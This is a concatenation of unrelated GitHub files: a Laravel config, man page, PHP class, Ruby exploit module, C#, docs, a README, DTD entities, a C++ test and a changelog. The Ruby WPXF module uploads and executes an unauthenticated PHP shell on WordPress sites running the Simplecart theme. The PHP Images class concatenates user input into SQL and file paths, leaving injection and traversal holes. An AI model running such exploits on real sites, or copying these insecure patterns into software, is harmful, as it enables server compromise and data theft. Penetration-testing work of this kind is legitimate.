| Global "From" Address
|--------------------------------------------------------------------------
|
| You may wish for all e-mails sent by your application to be sent from
| the same address. Here, you may specify a name and address that is
| used globally for all e-mails that are sent by your application.
|
*/
'from' => [
'address' => env('MAIL_FROM_ADDRESS', 'hello@example.com'),
'name' => env('MAIL_FROM_NAME', 'Example'),
],
/*
|--------------------------------------------------------------------------
| E-Mail Encryption Protocol
|--------------------------------------------------------------------------
|
| Here you may specify the encryption protocol that should be used when
| the application send e-mail messages. A sensible default using the
| transport layer security protocol should provide great security.
|
*/
'encryption' => env('MAIL_ENCRYPTION', 'tls'),
/*
|--------------------------------------------------------------------------
| SMTP Server Username
|--------------------------------------------------------------------------
|
| If your SMTP server requires a username for authentication, you should
| set it here. This will get used to authenticate with your server on
| connection. You may also set the "password" value below this one.
|
*/
'username' => env('MAIL_USERNAME'),
'password' => env('MAIL_PASSWORD'),
/*
|--------------------------------------------------------------------------
| Sendmail System Path
|--------------------------------------------------------------------------
|
| When using the "sendmail" driver to send e-mails, we will need to know
| the path to where Sendmail lives on this server. A default path has
| been provided here, which will work well on most of your systems.
|
*/
'sendmail' => '/usr/sbin/sendmail -bs',
/*
|--------------------------------------------------------------------------
| Markdown Mail Settings
|--------------------------------------------------------------------------
|
| If you are using Markdown based email rendering, you may configure your
| theme and component paths here, allowing you to customize the design
| of the emails. Or, you may simply stick with the Laravel defaults!
|
*/
'markdown' => [
'theme' => 'default',
'paths' => [
resource_path('views/vendor/mail'),
],
],
];
|
{
"pile_set_name": "Github"
}
| null | null |
.TH sshpk\-sign 1 "Jan 2016" sshpk "sshpk Commands"
.SH NAME
.PP
sshpk\-sign \- sign data using an SSH key
.SH SYNOPSYS
.PP
\fB\fCsshpk\-sign\fR \-i KEYPATH [OPTION...]
.SH DESCRIPTION
.PP
Takes in arbitrary bytes, and signs them using an SSH private key. The key can
be of any type or format supported by the \fB\fCsshpk\fR library, including the
standard OpenSSH formats, as well as PEM PKCS#1 and PKCS#8.
.PP
The signature is printed out in Base64 encoding, unless the \fB\fC\-\-binary\fR or \fB\fC\-b\fR
option is given.
.SH EXAMPLES
.PP
Signing with default settings:
.PP
.RS
.nf
$ printf 'foo' | sshpk\-sign \-i ~/.ssh/id_ecdsa
MEUCIAMdLS/vXrrtWFepwe...
.fi
.RE
.PP
Signing in SSH (RFC 4253) format (rather than the default ASN.1):
.PP
.RS
.nf
$ printf 'foo' | sshpk\-sign \-i ~/.ssh/id_ecdsa \-t ssh
AAAAFGVjZHNhLXNoYTIt...
.fi
.RE
.PP
Saving the binary signature to a file:
.PP
.RS
.nf
$ printf 'foo' | sshpk\-sign \-i ~/.ssh/id_ecdsa \\
\-o signature.bin \-b
$ cat signature.bin | base64
MEUCIAMdLS/vXrrtWFepwe...
.fi
.RE
.SH OPTIONS
.TP
\fB\fC\-v, \-\-verbose\fR
Print extra information about the key and signature to stderr when signing.
.TP
\fB\fC\-b, \-\-binary\fR
Don't base64\-encode the signature before outputting it.
.TP
\fB\fC\-i KEY, \-\-identity=KEY\fR
Select the key to be used for signing. \fB\fCKEY\fR must be a relative or absolute
filesystem path to the key file. Any format supported by the \fB\fCsshpk\fR library
is supported, including OpenSSH formats and standard PEM PKCS.
.TP
\fB\fC\-f PATH, \-\-file=PATH\fR
Input file to sign instead of stdin.
.TP
\fB\fC\-o PATH, \-\-out=PATH\fR
Output file to save signature in instead of stdout.
.TP
\fB\fC\-H HASH, \-\-hash=HASH\fR
Set the hash algorithm to be used for signing. This should be one of \fB\fCsha1\fR,
\fB\fCsha256\fR or \fB\fCsha512\fR\&. Some key types may place restrictions on which hash
algorithms may be used (e.g. ED25519 keys can only use SHA\-512).
.TP
\fB\fC\-t FORMAT, \-\-format=FORMAT\fR
Choose the signature format to use, from \fB\fCasn1\fR, \fB\fCssh\fR or \fB\fCraw\fR (only for
ED25519 signatures). The \fB\fCasn1\fR format is the default, as it is the format
used with TLS and typically the standard in most non\-SSH libraries (e.g.
OpenSSL). The \fB\fCssh\fR format is used in the SSH protocol and by the ssh\-agent.
.SH SEE ALSO
.PP
.BR sshpk-verify (1)
.SH BUGS
.PP
Report bugs at Github
\[la]https://github.com/arekinath/node-sshpk/issues\[ra]
|
{
"pile_set_name": "Github"
}
| null | null |
<?php
class Images {
function load($data){
$db = new SQLiteDatabase("sql/imgorg.db");
$tags = $data->tags;
$album = $data->album;
$qry = 'select i.filename as filename, i.url as url, i.id as id from Images i';
$where = array();
if ($tags) {
for ($i = 0;$i < sizeof($tags);$i++) {
$qry .= ' INNER JOIN Images_Tags it'.$i.' ON i.id = it'.$i.'.image_id';
array_push($where,' it'.$i.'.tag_id = "'.$tags[$i].'"');
}
}
if ($album) {
$qry .= ' INNER JOIN Albums a ON i.album_id = a.id';
array_push($where, ' a.id ="'.$album.'"');
}
if ($where) {
$qry .= ' WHERE'.join(" AND", $where);
}
$res = $db->query($qry);
return $res->fetchAll();
// return $qry;
}
function upload($data, $files){
$name = $files["Filedata"]["name"];
$db = new SQLiteDatabase("sql/imgorg.db");
$db->queryExec('INSERT INTO Images (filename, url) VALUES("'.$name.'","images/'.$name.'")');
$q = $db->query('SELECT * FROM Images WHERE filename = "'.$name.'"');
move_uploaded_file($files["Filedata"]["tmp_name"],"../images/".$name);
return array(
'data' => $files["Filedata"],
'res' => $q->fetchObject()
//,
//'test' => $phm->getImageQuality()
);
}
function addToAlbum($data) {
$images = $data->images;
$album = $data->album;
$db = new SQLiteDatabase("sql/imgorg.db");
for ($i = 0;$i < sizeof($images);$i++) {
// $db->queryExec('INSERT INTO Albums_Images (image_id, album_id) VALUES ("'.$images[$i].'","'.$album.'")');
$db->queryExec('UPDATE Images SET album_id = "'.$album.'" WHERE id ="'.$images[$i].'"');
}
return array('success' => true, 'images' => $images, 'album' => $album);
}
function tagImage($data) {
$images = $data->images;
$tag = $data->tag;
$db = new SQLiteDatabase("sql/imgorg.db");
// if it is a known tag the id is sent, otherwise a new string is, so we need to insert
if (!is_numeric($tag)) {
$db->queryExec('INSERT INTO Tags (text) VALUES ("'.$tag.'")');
$q = $db->query('SELECT id FROM Tags WHERE text = "'.$tag.'"');
$tag = $q->fetchObject()->id;
}
for ($i = 0;$i < sizeof($images);$i++) {
$db->queryExec('INSERT INTO Images_Tags (image_id, tag_id) VALUES ("'.$images[$i].'","'.$tag.'")');
}
return array('success' => true, 'images' => $images, 'tag' => $tag);
}
function rename($data) {
$db = new SQLiteDatabase("sql/imgorg.db");
$image = $data->image;
$name = $data->name;
$url = $data->url;
$urls = split('/',$url);
array_pop($urls);
$newUrl = (join('/',$urls)).'/'.$name;
$db->queryExec('UPDATE Images SET url = "'.$newUrl.'", filename = "'.$name.'" WHERE id = "'.$image.'"');
rename('../'.$url, '../'.$newUrl);
return array('image' => $image, 'name' => $name, 'url' => $newUrl);
}
function remove($data) {
$db = new SQLiteDatabase("sql/imgorg.db");
$images = $data->images;
for ($i = 0;$i < sizeof($images);$i++) {
$res = $db->query('SELECT url FROM Images where id ="'.$images[$i].'"');
$url = $res->fetchObject()->url;
unlink('../'.$url);
$db->queryExec('DELETE FROM Images WHERE id ="'.$images[$i].'"');
$db->queryExec('DELETE FROM Images_Tags WHERE image_id ="'.$images[$i].'"');
}
}
function getInfo($data) {
$db = new SQLiteDatabase("sql/imgorg.db");
$image = $data->image;
$q = $db->query('SELECT url FROM Images WHERE id = "'.$image.'"');
$path = $q->fetchObject()->url;
$ret = exif_read_data('../'.$path);
return $ret;
}
}
|
{
"pile_set_name": "Github"
}
| null | null |
# frozen_string_literal: true
require 'socket'
class Wpxf::Exploit::SimplecartShellUpload < Wpxf::Module
include Wpxf
def initialize
super
update_info(
name: 'Simplecart Theme Shell Upload',
desc: 'This module exploits a file upload vulnerability in all versions '\
'of the Simplecart theme found in the upload_file.php script '\
'which contains no session or file validation. It allows '\
'unauthenticated users to upload files of any type and '\
'subsequently execute PHP scripts in the context of the '\
'web server.',
author: [
'Divya', # Vulnerability disclosure
'rastating' # WPXF module
],
references: [
['EDB', '36611']
],
date: 'April 02 2015'
)
end
def check
check_theme_version_from_readme('simplecart')
end
def plugin_url
normalize_uri(wordpress_url_themes, 'simplecart')
end
def uploads_url
normalize_uri(plugin_url, 'admin',)
end
def uploader_url
normalize_uri(uploads_url, 'upload-file.php')
end
def payload_body_builder(payload_name)
target_ip = IPSocket.getaddress(target_host)
field_name = Utility::Text.md5(target_ip)
builder = Utility::BodyBuilder.new
builder.add_file_from_string(field_name, payload.encoded, payload_name)
builder.add_field('upload_path', 'Lg==')
builder
end
def run
return false unless super
emit_info 'Preparing payload...'
payload_name = "#{Utility::Text.rand_alpha(10, :lower)}.php"
builder = payload_body_builder(payload_name)
emit_info 'Uploading payload...'
res = nil
builder.create do |body|
res = execute_post_request(url: uploader_url, body: body)
end
if res.nil?
emit_error 'No response from the target'
return false
end
if res.code != 200
emit_error "Server responded with code #{res.code}"
return false
end
payload_url = normalize_uri(uploads_url, payload_name)
emit_success "Uploaded the payload to #{payload_url}", true
emit_info 'Executing the payload...'
res = execute_get_request(url: payload_url)
if res && res.code == 200 && !res.body.strip.empty?
emit_success "Result: #{res.body}"
end
return true
end
end
|
{
"pile_set_name": "Github"
}
| null | null |
using YAF.Lucene.Net.QueryParsers.Flexible.Core.Builders;
using YAF.Lucene.Net.QueryParsers.Flexible.Core.Nodes;
using YAF.Lucene.Net.QueryParsers.Flexible.Standard.Nodes;
using YAF.Lucene.Net.Search;
namespace YAF.Lucene.Net.QueryParsers.Flexible.Standard.Builders
{
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/// <summary>
/// This query tree builder only defines the necessary map to build a
/// <see cref="Query"/> tree object. It should be used to generate a <see cref="Query"/> tree
/// object from a query node tree processed by a
/// <see cref="Processors.StandardQueryNodeProcessorPipeline"/>.
/// </summary>
/// <seealso cref="QueryTreeBuilder"/>
/// <seealso cref="Processors.StandardQueryNodeProcessorPipeline"/>
public class StandardQueryTreeBuilder : QueryTreeBuilder<Query>, IStandardQueryBuilder
{
public StandardQueryTreeBuilder()
{
SetBuilder(typeof(GroupQueryNode), new GroupQueryNodeBuilder());
SetBuilder(typeof(FieldQueryNode), new FieldQueryNodeBuilder());
SetBuilder(typeof(BooleanQueryNode), new BooleanQueryNodeBuilder());
SetBuilder(typeof(FuzzyQueryNode), new FuzzyQueryNodeBuilder());
SetBuilder(typeof(NumericQueryNode), new DummyQueryNodeBuilder());
SetBuilder(typeof(NumericRangeQueryNode), new NumericRangeQueryNodeBuilder());
SetBuilder(typeof(BoostQueryNode), new BoostQueryNodeBuilder());
SetBuilder(typeof(ModifierQueryNode), new ModifierQueryNodeBuilder());
SetBuilder(typeof(WildcardQueryNode), new WildcardQueryNodeBuilder());
SetBuilder(typeof(TokenizedPhraseQueryNode), new PhraseQueryNodeBuilder());
SetBuilder(typeof(MatchNoDocsQueryNode), new MatchNoDocsQueryNodeBuilder());
SetBuilder(typeof(PrefixWildcardQueryNode),
new PrefixWildcardQueryNodeBuilder());
SetBuilder(typeof(TermRangeQueryNode), new TermRangeQueryNodeBuilder());
SetBuilder(typeof(RegexpQueryNode), new RegexpQueryNodeBuilder());
SetBuilder(typeof(SlopQueryNode), new SlopQueryNodeBuilder());
SetBuilder(typeof(StandardBooleanQueryNode),
new StandardBooleanQueryNodeBuilder());
SetBuilder(typeof(MultiPhraseQueryNode), new MultiPhraseQueryNodeBuilder());
SetBuilder(typeof(MatchAllDocsQueryNode), new MatchAllDocsQueryNodeBuilder());
}
public override Query Build(IQueryNode queryNode)
{
return base.Build(queryNode);
}
}
}
|
{
"pile_set_name": "Github"
}
| null | null |
# Email
Thanks to the plugin `Email`, you can send email from your server or externals providers such as **Sendgrid**.
## Programmatic usage
In your custom controllers or services you may want to send email.
By using the following function, strapi will use the configured provider to send an email.
```js
await strapi.plugins['email'].services.email.send({
to: 'paulbocuse@strapi.io',
from: 'joelrobuchon@strapi.io',
replyTo: 'no-reply@strapi.io',
subject: 'Use strapi email provider successfully',
text: 'Hello world!',
html: 'Hello world!',
});
```
## Configure the plugin
The plugin provides you a settings page where you can define the email provider you want to use.
You will also be able to add some configuration.
- Click on **Plugins** in the left menu
- Click on the cog button on the **Email** plugin line
## Install new providers
By default Strapi provides a local email system. You might want to send email with a third party.
You can check all the available providers developed by the community on npmjs.org - [Providers list](https://www.npmjs.com/search?q=strapi-provider-email-)
To install a new provider run:
:::: tabs
::: tab yarn
```
yarn add strapi-provider-email-sendgrid@beta --save
```
:::
::: tab npm
```
npm install strapi-provider-email-sendgrid@beta --save
```
:::
::::
::: tip
If the provider is not in the mono repo, you probably don't need `@beta` depending if the creator published it with this tag or not.
:::
Then, visit [http://localhost:1337/admin/plugins/email/configurations/development](http://localhost:1337/admin/plugins/email/configurations/development) on your web browser and configure the provider.
## Create new provider
If you want to create your own, make sure the name starts with `strapi-provider-email-` (duplicating an existing one will be easier), modify the `auth` config object and customize the `send` function.
Default template
```js
module.exports = {
provider: 'provider-id',
name: 'display name',
auth: {
config_1: {
label: 'My Config 1',
type: 'text',
},
},
init: config => {
return {
send: async options => {},
};
},
};
```
In the `send` function you will have access to:
- `config` that contains configurations you setup in your admin panel
- `options` that contains options you send when you call the `send` function from the email plugin service
To use it you will have to publish it on **npm**.
### Create a local provider
If you want to create your own provider without publishing it on **npm** you can follow these steps:
- Create a `providers` folder in your application.
- Create your provider as explained in the documentation eg. `./providers/strapi-provider-email-[...]/...`
- Then update your `package.json` to link your `strapi-provider-email-[...]` dependency to the [local path](https://docs.npmjs.com/files/package.json#local-paths) of your new provider.
```json
{
...
"dependencies": {
...
"strapi-provider-email-[...]": "file:providers/strapi-provider-email-[...]",
...
}
}
```
- Finally, run `yarn install` or `npm install` to install your new custom provider.
## Troubleshooting
You received an `Auth.form.error.email.invalid` error even though the email is valid and exists in the database.
Here is the error response you get from the API.
```json
{
"statusCode": 400,
"error": "Bad Request",
"message": [
{
"messages": [
{
"id": "Auth.form.error.email.invalid"
}
]
}
]
}
```
This error is due to your IP connection. By default, Strapi uses the [`sendmail`](https://github.com/guileen/node-sendmail) package.
This package sends an email from the server it runs on. Depending on the network you are on, the connection to the SMTP server could fail.
Here is the `sendmail` error.
```
Error: SMTP code:550 msg:550-5.7.1 [87.88.179.13] The IP you're using to send mail is not authorized to
550-5.7.1 send email directly to our servers. Please use the SMTP relay at your
550-5.7.1 service provider instead. Learn more at
550 5.7.1 https://support.google.com/mail/?p=NotAuthorizedError 30si2132728pjz.75 - gsmtp
```
To fix it, I suggest you to use another email provider that uses third party to send emails.
When using a third party provider, you avoid having to setup a mail server on your server and get extra features such as email analytics.
|
{
"pile_set_name": "Github"
}
| null | null |
一、简介
该款APP是一个后台基于bmob后端云的校园社交APP,后台采用bmob云存储技术。界面采用了谷歌的matrial design设计,框架基于MD+Rxjava+retrofit+MVP架构。
到目前为止,已经完成的功能模块有单聊,群聊,附近人搜索,开心时刻,天气预报,朋友圈发表和个人信息编辑展示等7大功能模块。
首先郑重声明下,该聊天功能的实现并不是调用官方的即时通讯API,而是本人自己结合官方提供的推送功能和实时同步的功能,按照自己的逻辑来实现的,所以内部聊天信息的逻辑处理过程源码是开放的,希望对想学习Android聊天框架的同学有所帮助。
项目详解地址:http://www.jianshu.com/p/2d76430617ae
二、screenshot
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170609-153556.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-153501.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70611-240903.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70610-160929.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70610-160840.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70610-160131.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70610-160046.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70610-154410.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70610-154406.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70610-154358.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70610-154355.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70610-154347.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-154938.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-155450.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-155556.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-161608.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-161817.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-161924.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-162019.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-162025.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-162038.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-235352.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-235657.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170611-104346.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170611-104502.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170611-104528.jpg
width=250 height=450>
|
{
"pile_set_name": "Github"
}
| null | null |
<!-- iso-amsr.ent produced by Norman Walsh for the XML version of DocBook -->
<!-- Derived from the corresponding ISO 8879 standard entity set
and the Unicode character mappings provided by Sebastian Rahtz -->
<!ENTITY ape "≊"> <!-- -->
<!ENTITY asymp "≍"> <!-- EQUIVALENT TO -->
<!ENTITY bcong "≌"> <!-- ALL EQUAL TO -->
<!ENTITY bepsi ""> <!-- -->
<!ENTITY bowtie "⋈"> <!-- -->
<!ENTITY bsim "∽"> <!-- -->
<!ENTITY bsime "⋍"> <!-- -->
<!ENTITY bump "≎"> <!-- -->
<!ENTITY bumpe "≏"> <!-- -->
<!ENTITY cire "≗"> <!-- -->
<!ENTITY colone "≔"> <!-- -->
<!ENTITY cuepr "⋞"> <!-- -->
<!ENTITY cuesc "⋟"> <!-- -->
<!ENTITY cupre "≼"> <!-- -->
<!ENTITY dashv "⊣"> <!-- -->
<!ENTITY ecir "≖"> <!-- -->
<!ENTITY ecolon "≕"> <!-- -->
<!ENTITY eDot "≑"> <!-- -->
<!ENTITY esdot "≐"> <!-- -->
<!ENTITY efDot "≒"> <!-- -->
<!ENTITY egs "⋝"> <!-- -->
<!ENTITY els "⋜"> <!-- -->
<!ENTITY erDot "≓"> <!-- -->
<!ENTITY fork "⋔"> <!-- -->
<!ENTITY frown "⌢"> <!-- -->
<!ENTITY gap "≳"> <!-- GREATER-THAN OR EQUIVALENT TO -->
<!ENTITY gsdot "⋗"> <!-- -->
<!ENTITY gE "≧"> <!-- -->
<!ENTITY gel "⋛"> <!-- -->
<!ENTITY gEl "⋛"> <!-- -->
<!ENTITY ges ""> <!-- -->
<!ENTITY Gg "⋙"> <!-- VERY MUCH GREATER-THAN -->
<!ENTITY gl "≷"> <!-- -->
<!ENTITY gsim "≳"> <!-- GREATER-THAN OR EQUIVALENT TO -->
<!ENTITY Gt "≫"> <!-- MUCH GREATER-THAN -->
<!ENTITY lap "≲"> <!-- LESS-THAN OR EQUIVALENT TO -->
<!ENTITY ldot "⋖"> <!-- -->
<!ENTITY lE "≦"> <!-- -->
<!ENTITY lEg "⋚"> <!-- -->
<!ENTITY leg "⋚"> <!-- -->
<!ENTITY les ""> <!-- -->
<!ENTITY lg "≶"> <!-- LESS-THAN OR GREATER-THAN -->
<!ENTITY Ll "⋘"> <!-- -->
<!ENTITY lsim "≲"> <!-- LESS-THAN OR EQUIVALENT TO -->
<!ENTITY Lt "≪"> <!-- MUCH LESS-THAN -->
<!ENTITY ltrie "⊴"> <!-- -->
<!ENTITY mid "∣"> <!-- -->
<!ENTITY models "⊧"> <!-- MODELS -->
<!ENTITY pr "≺"> <!-- -->
<!ENTITY prap "≾"> <!-- -->
<!ENTITY pre "≼"> <!-- -->
<!ENTITY prsim "≾"> <!-- -->
<!ENTITY rtrie "⊵"> <!-- -->
<!-- samalg Unknown unicode character -->
<!ENTITY sc "≻"> <!-- -->
<!ENTITY scap "≿"> <!-- -->
<!ENTITY sccue "≽"> <!-- -->
<!ENTITY sce "≽"> <!-- -->
<!ENTITY scsim "≿"> <!-- -->
<!ENTITY sfrown ""> <!-- -->
<!ENTITY smid ""> <!-- -->
<!ENTITY smile "⌣"> <!-- -->
<!ENTITY spar ""> <!-- -->
<!ENTITY sqsub "⊏"> <!-- -->
<!ENTITY sqsube "⊑"> <!-- -->
<!ENTITY sqsup "⊐"> <!-- -->
<!ENTITY sqsupe "⊒"> <!-- -->
<!ENTITY ssmile ""> <!-- -->
<!ENTITY Sub "⋐"> <!-- -->
<!ENTITY subE "⊆"> <!-- -->
<!ENTITY Sup "⋑"> <!-- -->
<!ENTITY supE "⊇"> <!-- -->
<!ENTITY thkap ""> <!-- -->
<!ENTITY thksim ""> <!-- -->
<!ENTITY trie "≜"> <!-- -->
<!ENTITY twixt "≬"> <!-- BETWEEN -->
<!ENTITY vdash "⊢"> <!-- -->
<!ENTITY Vdash "⊩"> <!-- -->
<!ENTITY vDash "⊨"> <!-- -->
<!ENTITY veebar "⊻"> <!-- -->
<!ENTITY vltri "⊲"> <!-- -->
<!ENTITY vprop "∝"> <!-- -->
<!ENTITY vrtri "⊳"> <!-- -->
<!ENTITY Vvdash "⊪"> <!-- -->
|
{
"pile_set_name": "Github"
}
| null | null |
// Copyright (C) 2004-2013 Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library. This library is free
// software; you can redistribute it and/or modify it under the
// terms of the GNU General Public License as published by the
// Free Software Foundation; either version 3, or (at your option)
// any later version.
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License along
// with this library; see the file COPYING3. If not see
// <http://www.gnu.org/licenses/>.
#include <ext/vstring.h>
#include <ext/array_allocator.h>
#include <testsuite_hooks.h>
typedef char char_type;
typedef std::char_traits<char_type> traits_type;
typedef std::tr1::array<char_type, 4> array_type;
array_type extern_array;
void test01()
{
bool test __attribute__((unused)) = true;
using __gnu_cxx::__versa_string;
typedef __gnu_cxx::array_allocator<char_type, array_type> allocator_type;
typedef __versa_string<char_type, traits_type, allocator_type> string_type;
// Construct array_allocator without underlying array.
allocator_type a;
string_type s(a);
try
{
s.reserve(4); // Actually need 4 + 1 + sizeof(std::string::_Rep).
}
catch(std::bad_alloc& obj)
{
VERIFY( true );
}
catch(...)
{
VERIFY( false );
}
}
int main()
{
test01();
return 0;
}
|
{
"pile_set_name": "Github"
}
| null | null |
Changes
=======
(See :doc:`roadmap` for future plans.)
Release History
---------------
1.2.10
^^^^^^^^^^^^^^^^^^
* Improved MidiFile.play to avoid time drift. (Implemented by John
Belmonte, pull request #161.)
* New ``repr()`` format. (Original implementation by John Belmonte,
pull request #164.)
* bugfix: MIDO_DEFAULT_INPUT was misspelled in mido-ports causing it
to be show as 'not set' even though it was set. (Fix by Bernhard
Wagner, pull request #192.)
* Updated linke in docs to point to the new home github.com/mido/
(Fixed by Joshua Mayers, pull request #177.)
1.2.9 (2018-10-05)
^^^^^^^^^^^^^^^^^^
* rewrote ``Parser`` class around a MIDI tokenizer. Should lead to
slight speedup and much cleaner code.
* bugfix: `data` attribute was missing for `UnknownMetaMessage`
objects. This caused `AttributeError` when the messages were printed
or saved to a file. Also, the documentation incorrectly listed the
attribute as `_data` instead of `data`. (Reported by Groowy.)
* bugfix: UnknownMetaMessage encoding was broken causing crashes when
saving a file with unknown meta messages. (Reported by exeex, issue
#159.)
* bugfix: inputs and outputs were switched around when opening named
ports with PortMidi backend. (Reproduced by Predrag Radovic, issue
#108, fix by Juan Antonio Aldea, pull request #109.)
* bugfix: time signature meta messages had wrong default value of
2/4. The default value is now 4/4. (Fix by Sebastian Böck, pull
request #104.)
* bugfix: ``msg.copy()`` didn't handle generators for sysex
data. ``msg.copy(data=(i for i in range(3)))`` would give
``data=()`` instead of ``data=(0,1,2)``.
(The code should be refactored so this is handled by the same
function everywhere, such as in ``__init__()``, in ``copy()`` and in
``parser.feed()``.)
* bugfix: ``MultiPort._receive()`` ignored the ``block``
parameter. (Fix by Tom Swirly, pull request #135.)
* bugfix: sequencer number meta message was incorrectly limited to
range 0..255 instead of 0..65335. (Reported by muranyia, issue
#144.)
* now using Tox for testing. (Implemented by Chris Apple, pull request
#123.)
* Travis integration up by Carl Thomé and Chris Apple.
1.2.8 (2017-06-30)
^^^^^^^^^^^^^^^^^^
* bugfix: nonblocking receive was broken for RtMidi IO
ports. (Reported by Chris Apple, issue #99.)
* bugfix: ``IOPort.poll()`` would block if another thread was waiting
for ``receive()``. Fixed the problem by removing the lock, which
was never needed in the first place as the embedded input port does
its own locking.
1.2.7 (2017-05-31)
^^^^^^^^^^^^^^^^^^
* added max length when reading message from a MIDI file. This
prevents Python from running out of memory when reading a corrupt
file. Instead it will now raise an ``IOError`` with a descriptive
error message. (Implemented by Curtis Hawthorne, pull request #95.)
* removed dependency on ``python-rtmidi`` from tests. (Reported by
Josue Ortega, issue #96.)
1.2.6 (2017-05-04)
^^^^^^^^^^^^^^^^^^
* bugfix: Sending sysex with Pygame in Python 3 failed with
``"TypeError: array() argument 1 must be a unicode character, not
byte"``. (Reported by Harry Williamson.)
* now handles ``sequence_number`` and ``midi_port`` messages with 0
data bytes. These are incorrect but can occur in rare cases. See
``mido/midifiles/test_midifiles.py`` for more. (Reported by Gilthans
(issue #42) and hyst329 (issue #93)).
1.2.5 (2017-04-28)
^^^^^^^^^^^^^^^^^^
* bugfix: RtMidi backend ignored ``api`` argument. (Fix by Tom Feist,
pull request #91.)
1.2.4 (2017-03-19)
^^^^^^^^^^^^^^^^^^
* fixed outdated python-rtmidi install instructions. (Reported by
Christopher Arndt, issue #87.)
1.2.3 (2017-03-14)
^^^^^^^^^^^^^^^^^^
* typo and incorrect links in docs fixed by Michael (miketwo) (pull requests
#84 and #85).
1.2.2 (2017-03-14)
^^^^^^^^^^^^^^^^^^
* bugfix: sysex data was broken in string format encoding and decoding.
The data was encoded with spaces ('data=(1, 2, 3)') instead of as one word
('data=(1,2,3)').
* added some tests for string format.
* bugfix: ``BaseOutput.send()`` raised string instead of ``ValueError``.
1.2.1 (2017-03-10)
^^^^^^^^^^^^^^^^^^
* bugfix: IO port never received anything when used with RtMidi
backend. (Reported by dagargo, issue #83.)
This was caused by a very old bug introduced in 1.0.3. IOPort
mistakenly called the inner method ``self.input._receive()`` instead
of ``self.input.receive()``. This happens to work for ports that
override ``_receive()`` but not for the new RtMidi backend which
overrides ``receive()``. (The default implementation of
``_receive()`` just drops the message on the floor.)
* bugfix: PortMidi backend was broken due to missing import
(``ctypes.byref``). (Introduced in 1.2.0.)
1.2.0 (2017-03-07)
^^^^^^^^^^^^^^^^^^^
New implementation of messages and parser:
* completely reimplemented messages. The code is now much simpler,
clearer and easier to work with.
* new contructors ``Message.from_bytes()``, ``Message.from_hex()``,
``Message.from_str()``.
* new message attributes ``is_meta`` and ``is_realtime``.
Frozen (immutable) messages:
* added ``FrozenMessage`` and ``FrozenMetaMessage``. These are
immutable versions of ``Message`` and ``MetaMessage`` that are
hashable and thus can be used as dictionary keys. These are
available in ``mido.frozen``. (Requested by Jasper Lyons, issue
#36.)
RtMidi is now the default backend:
* switched default backend from PortMidi to RtMidi. RtMidi is easier
to install on most systems and better in every way.
If you want to stick to PortMidi you can either set the environment
variable ``$MIDO_BACKEND=mido.backends.portmidi`` or call
``mido.set_backend('mido.backends.portmidi')`` in your program.
* refactored the RtMidi backend to have a single ``Port`` class
instead of inheriting from base ports. It was getting hard to keep
track of it all. The code is now a lot easier to reason about.
* you can now pass ``client_name`` when opening RtMidi ports:
``open_output('Test', client_name='My Client')``. When
``client_name`` is passed the port will automatically be a virtual
port.
* with ``LINUX_ALSA`` you can now omit client name and ALSA
client/port number when opening ports, allowing you to do
``mido.open_output('TiMidity port 0')`` instead of
``mido.open_output('TiMidity:TiMidity port 0 128:0')``. (See RtMidi
